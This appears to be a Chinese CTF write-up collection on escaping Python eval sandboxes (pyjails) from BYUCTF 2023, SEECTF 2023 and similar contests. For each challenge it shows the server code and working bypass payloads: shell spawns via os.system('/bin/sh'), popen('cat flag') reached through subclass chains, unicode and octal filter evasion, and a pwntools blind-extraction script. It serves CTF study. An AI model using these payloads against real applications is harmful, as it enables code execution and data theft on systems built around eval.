'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR', 'BINARY_OR', ] blocklist_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION'] TURING_PROTECT_SAFE = True banned = ''' [ 'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP', 'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET', 'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE', 'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT', 'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE', 'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT', 'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION' ] ''' code = ''' import os import sys import traceback import pwnlib.util.safeeval as safeeval input_data = input('> ') print(expr(input_data)) def expr(n): if TURING_PROTECT_SAFE: m = safeeval.test_expr(n, blocklist_codes) return eval(m) else: return safeeval.expr(n) ''' def expr(n): if TURING_PROTECT_SAFE: m = safeeval.test_expr(n, blocklist_codes) return eval(m) else: return safeeval.expr(n) try: print('Turing s@Fe mode:', 'on' if TURING_PROTECT_SAFE else 'off') print('Black List:') print(banned) print('some code:') print(code) while True: input_data = input('> ') try: print(expr(input_data)) except Exception as err: traceback.print_exc(file=sys.stdout) except EOFError as input_data: print()
Black List ban掉了一些Python字节码操作,这些操作大多与数据结构的修改、函数的创建和调用等功能相关。 但代码中真正起过滤作用的是pwnlib.util.safeeval,与BlackList相比仁慈地放出了MAKE_FUNCTION和CALL_FUNCTION两个字节码 于是采用lambda表达式直接打匿名函数
payload
1 2 (lambda: os.system('/bin/sh'))() cat flag
另一个payload
1 (lambda x: eval(x))("__import__('os').system('cat flag')")
4 byte command(长度限制) server.py
1 2 3 4 5 6 7 import os input_data = input("> ") if len(input_data)>4: print("Oh hacker!") exit(0) print('Answer: {}'.format(os.system(input_data)))
payload
tyPe Ch@nnEl(type盲注) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}" BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r' def my_safe_check(n): return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST) def my_safe_eval(m, my_func): if not my_safe_check(m): print("Hacker!!!!") else: try: print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG})) except: print("Try again!") if __name__ == "__main__": my_safe_eval(input("Payload:"), type)
经过一定尝试,我们发现可以用type类型,可以用flag变量,除此之外是禁了很多符号,基本上除了小括号、小数点、加和异或,其他都差不多无了。
一开始我们的思路肯定是用侧信道盲注的方法:既然还有一个异或,那么肯定用异或来构造。并且我们可以通过if else的方法来得到不同类型的输出,如下:
1 (1)if(some_expr)else(True)
我们可以通过枚举猜解值,通过与flag特定位置的ASCII码的异或值来比较。这里python会自动转为bool,而bool只有在输入0的时候才会转为False,其他条件均为True。
想法很美好,但是现实很骨感:首先我们此处的__builtins__被干得差不多了,没有ord函数;其次,不能直接通过索引的方式得到对应位字符,因为中括号被屏蔽了。不过这里我们可以先把flag转化为bytes,然后再变成list,这样list的每一位就是ASCII码值;另外list有pop()方法,可以返回对应位置的元素值。
flag已经是str了,转化为bytes直接用encode()方法。虽然我们没办法通过type([])来得到list,但是我们可以通过flag.split()方法得到一个list对象,然后通过type来得到相应的类。
type([])(‘test’) == list(‘test’) –> [‘t’, ‘e’, ‘s’, ‘t’]
bytes 的切片数据类型为 int a = b’test’ type(a) –> “bytes” type(a[0]) –> “int” a[0] ^ 1 –> 117
所以payload变为
1 ((1)if(type(flag.split())(flag.encode()).pop({pos})^{val})else(True))
完整盲注代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * from tqdm import trange class Gao: def __init__(self): self.known = '' def init(self): # self.conn = process(['python3', './server_type.py']) self.conn = remote('node5.anna.nssctf.cn', 28788) def gao(self): payload = '((1)if(type(flag.split())(flag.encode()).pop({pos})^{val})else(True))' i = len(self.known) while True: for j in trange(32, 128): cur_payload = payload.format(pos=i, val=j) self.init() self.conn.sendlineafter('Payload:', cur_payload) s = self.conn.recvline() self.conn.close() if (b'Try' in s): return elif (b'bool' in s): self.known += chr(j) print(self.known) print(self.known) print(self.known) break else: raise Exception('GG simida') i += 1 if __name__ == '__main__': g = Gao() g.gao()
BYUCTF 2023 Builtins 1(清空命名空间) server.py
1 print(eval(input("code> "), {"__builtins__": {}}, {"__builtins__": {}}))
deepseek分析一下
eval(expr, globals, locals):在指定命名空间中执行表达式 expr。 globals 和 locals 参数均被设置为 {“__builtins__“: {}},即禁用所有内置函数和模块。 (1) 禁用内置函数 通过设置 __builtins__ 为空字典,禁止访问内置函数(如 open、__import__)和模块(如 os、sys)。 (2) 限制命名空间 globals 和 locals 均不提供任何预定义变量,用户只能使用表达式自身的字面量和简单运算。
攻击方法就是利用现有对象的继承链访问危险模块 payload
1 ().__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('cat flag').read()
BYUCTF 2023 Builtins 2(清空命名空间,过滤双下划线) server.py
1 2 3 4 5 inp = input("code> ")[:72] if "__" in inp: print("Nope") else: print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))
用unicode编码绕过双下划线过滤,找到_frozen_importlib_external.FileLoader的get_data方法
1 ().__class__.__base__.__subclasses__()
写一个python脚本看看_frozen_importlib_external.FileLoader是第几项
1 2 3 4 5 6 7 for idx, subclass in enumerate(().__class__.__base__.__subclasses__()): if subclass.__name__ == 'FileLoader' and '_frozen_importlib_external' in subclass.__module__: print(f"索引位置: {idx}") print(subclass) break else: print("未找到目标类")
最终payload
1 ().__class__.__base__.__subclasses__()[94].get_data('.','flag.txt')
BYUCTF 2023 a-z0-9(过滤数字和字母) server.py
1 eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
deepseek分析
1 2 3 4 5 6 7 eval( # 执行处理后的字符串作为Python代码 (__import__("re").sub( # 使用正则表达式替换 r'[a-z0-9]', # 匹配所有小写字母和数字 '', # 替换为空(删除这些字符) input("code > ").lower() # 获取用户输入并转为小写 ))[:130] # 截取前130个字符 )
用unicode字符或者斜体字来绕过 payload
或者
1 𝘦𝘹𝘦𝘤("𝘢=𝘤𝘩𝘳;𝘣=𝘰𝘳𝘥;𝘤=𝘣('൬');𝘥=𝘢(𝘤-𝘣(''));𝘱𝘳𝘪𝘯𝘵(𝘰𝘱𝘦𝘯(𝘢(𝘤-𝘣('ആ'))+𝘢(𝘤-𝘣('ഀ'))+𝘢(𝘤-𝘣('ഋ'))+𝘢(𝘤-𝘣('അ'))+'.'+𝘥+𝘢(𝘤-𝘣(''))+𝘥).𝘳𝘦𝘢𝘥())") # 读flag.txt
或者
1 __𝘪𝘮𝘱𝘰𝘳𝘵__(𝘤𝘩𝘳(𝘰𝘳𝘥('ʚ')-𝘰𝘳𝘥('ȫ'))+𝘤𝘩𝘳(𝘰𝘳𝘥('ř')-𝘰𝘳𝘥('æ'))).𝘴𝘺𝘴𝘵𝘦𝘮(𝘤𝘩𝘳(𝘰𝘳𝘥('ř')-𝘰𝘳𝘥('æ'))+𝘤𝘩𝘳(𝘰𝘳𝘥('ȉ')-𝘰𝘳𝘥('ơ'))) # sh
BYUCTF 2023 Leet 1(构造数字) server.py
1 2 3 4 5 6 7 8 import re FLAG = open('flag.txt').read() inp = input('> ') if re.search(r'\d', inp) or eval(inp) != 1337: print('Nope') else: print(FLAG)
要求输入一个不包含数字且计算结果为 1337 的表达式
payload
1 int(str(len('a')) + str(len('aaa')) + str(len('aaa')) + str(len('aaaaaaa')))
BYUCTF 2023 Leet 2(构造数字) server.py
1 2 3 4 5 6 7 8 import re FLAG = open('flag.txt').read() inp = input('> ') if re.search(r'[123456789]', inp) or re.search(r'\(', inp) or eval(inp) != 1337: print('Nope') else: print(FLAG)
留了0,十六进制绕过
payload
1 0xff+0xff+0xff+0xaf+0xaf+0xde
或者
1 [_:=[]>[],~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_][[]==[]]*~_
BYUCTF 2023 abcdefghijklm(过滤字母限制长度RCE) server.py
1 2 inp = input("code > ").lower() eval((inp[:4]+__import__("re").sub(r'[a-m]','',inp[4:]))[:80])
八进制绕过
payload
1 eval("\145\166\141\154\050\151\156\160\165\164\050\051\051")
BYUCTF 2023 nopqrstuvwxyz(过滤字母限制长度RCE) server.py
1 2 inp = input("code > ").lower() eval((inp[:4]+__import__("re").sub(r'[n-z]','',inp[4:]))[:80])
八进制绕过
payload
1 eval("\157\160e\156(*\157\160e\156('/flag.\164\170\164'))")
Pwnhub 2022(过滤字母) server.py
unicode字符绕过 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 # open(bytes((47,102,108,97,103)).decode()).read() ## shell 生成 shell = f"__import__('os').popen('cat flag').read()" shell = ','.join([str(ord(i)) for i in shell]) a = f'eval(bytes(({shell})).decode())' b = list('abcdefghijklmnopqrstuvwxyz') c = list('abcdefghijklmnopqrstuvwxyz') assert len(b) == len(c) for i in range(len(c)): a = a.replace(c[i], b[i]) print(a)
Unknown(限制字符,清空buitins) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 string = "abcdefghjklimnopqrstuvwxyz:=[]()_'" def check(input_data: str): if all([i in string for i in input_data]): return True return False print("White list: [a-z] = : () [] '") print('eval(input_data, {"__builtins__": {"__import__": __import__}})') input_data = input() if check(input_data): eval(input_data, {"__builtins__": {"__import__": __import__}}) else: print("Bad Code!!!")
清理了__builtins__,只保留了__import__,导致eval input等函数无法使用,尝试复原__builtins__
1 __builtins__ = __import__('builtins')
过滤了空格与句点,无法直接通过__import__后调用函数,尝试复原__builtins__后直接调用,就需要将赋值与调用放在同一个表达式中,涉及:=
1 2 3 4 5 a = [1, 2, 3, 4] if (a := len(a)) > 3: print(a) # output: 4
在同一个语句中同时__import__与使用eval() input(),并且不适用空格等其余字符,则尝试and或or表达式,此处涉及and与or的短路逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 def a(): print("a") return 0 def b(): print("b") return 1 def c(): print("c") return 2 def d(): print("d") return 3 def e(): print("e") return 0 def f(): print("f") return 4 def g(): print("g") return 0 def h(): print("h") return 5 result = a() and b() and c() or d() or e() and g() or h() print("最终返回值:", result) 输出结果为: a d 最终返回值: 3
payload
1 (__builtins__:=__import__('builtins'))and(eval(input()))
and左侧先进行复原__builtins__,并且此时赋值结果等同于True
则仍需执行右侧表达式,此时达成RCE
1 __import__('os').system('sh')
SEECTF 2023: Another PyJail payload
1 lambda g: ((lambda _0, _1: (lambda _2, _4, _8, _16, _32, _64, _128: (lambda _1234567890: (lambda s_n,s_r,s_a,s_o,s_t,s_c,s_l,s_larr,s_i,s_g,s_e,s_b,s_dash,s_f,s_ ,s_rarr,s_u,s_T,s_F,s_s,s_lbrack,s_rbrack,s_4,s_5,s_9,s_6,s_3,s_8,s_2,s_7,s_0,s_1,s_x,s_j,s_N: (lambda morestr: (lambda s_d,s_m,s_h: (lambda fromhex, decodestr: (lambda s__class__,s__bases__,s__subclasses__,s_load_module,s_system: (lambda load_module: (lambda os:(lambda system: system(s_s + s_h))(g(os, s_system)))(load_module(s_o + s_s)))(g(g(g(g(g, s__class__), s__bases__)[_0], s__subclasses__)()[_16+_64], s_load_module)))(g(fromhex(s_5+s_f+s_5+s_f+s_6+s_3+s_6+s_c+s_6+s_1+s_7+s_3+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(),g(fromhex(s_5+s_f+s_5+s_f+s_6+s_2+s_6+s_1+s_7+s_3+s_6+s_5+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(),g(fromhex(s_5+s_f+s_5+s_f+s_7+s_3+s_7+s_5+s_6+s_2+s_6+s_3+s_6+s_c+s_6+s_1+s_7+s_3+s_7+s_3+s_6+s_5+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(),g(fromhex(s_6+s_c+s_6+s_f+s_6+s_1+s_6+s_4+s_5+s_f+s_6+s_d+s_6+s_f+s_6+s_4+s_7+s_5+s_6+s_c+s_6+s_5), decodestr)(),g(fromhex(s_7+s_3+s_7+s_9+s_7+s_3+s_7+s_4+s_6+s_5+s_6+s_d), decodestr)()))(g(g(s_5+s_f, s_e+s_n+s_c+s_o+s_d+s_e)(), s_f+s_r+s_o+s_m+s_h+s_e+s_x), s_d+s_e+s_c+s_o+s_d+s_e))(morestr[_1+_2+_4+_8],morestr[_2+_8],morestr[_1+_4+_8]))(f"{g({}, s_g+s_e+s_t)}"))(f'{g}'[_8],f'{g}'[_1+_8+_16],f'{g}'[_2+_4+_16],f'{g}'[_16],f'{g}'[_1+_4],f'{g}'[_1+_4+_8],f'{g}'[_4],f'{g}'[_0],f'{g}'[_1+_2],f'{g}'[_1+_2+_16],f'{g}'[_4+_16],f'{g}'[_1],f'{g}'[_2+_4],f'{g}'[_2+_8],f'{g}'[_1+_8],f'{g}'[_2+_8+_16],f'{g}'[_2],f'{g==g}'[_0],f'{g!=g}'[_0],f'{g!=g}'[_1+_2],f"{({*f'{g}'[_0:_0]})}"[_1+_2],f"{({*f'{g}'[_0:_0]})}"[_4],f"{_1234567890}"[_1+_2],f"{_1234567890}"[_4],f"{_1234567890}"[_8],f"{_1234567890}"[_1+_4],f"{_1234567890}"[_2],f"{_1234567890}"[_1+_2+_4],f"{_1234567890}"[_1],f"{_1234567890}"[_2+_4],f"{_1234567890}"[_1+_8],f"{_1234567890}"[_0],f"{(lambda: (yield))()}"[_1+_2+_8+_16],f"{(lambda: (yield))()}"[_1+_4+_8],f"{(lambda: (yield))()}"[_2+_16]))(_2+_16+_64+_128+(_1<<(_1+_8))+(_1<<(_1+_16))+(_1<<(_2+_16))+(_1<<(_4+_16))+(_1<<(_1+_2+_4+_16))+(_1<<(_8+_16))+(_1<<(_1+_2+_8+_16))+(_1<<(_2+_4+_8+_16))))(_1+_1, _1<<(_1+_1), _1<<(_1+_1+_1), _1<<(_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1+_1+_1)))(g!=g, g==g))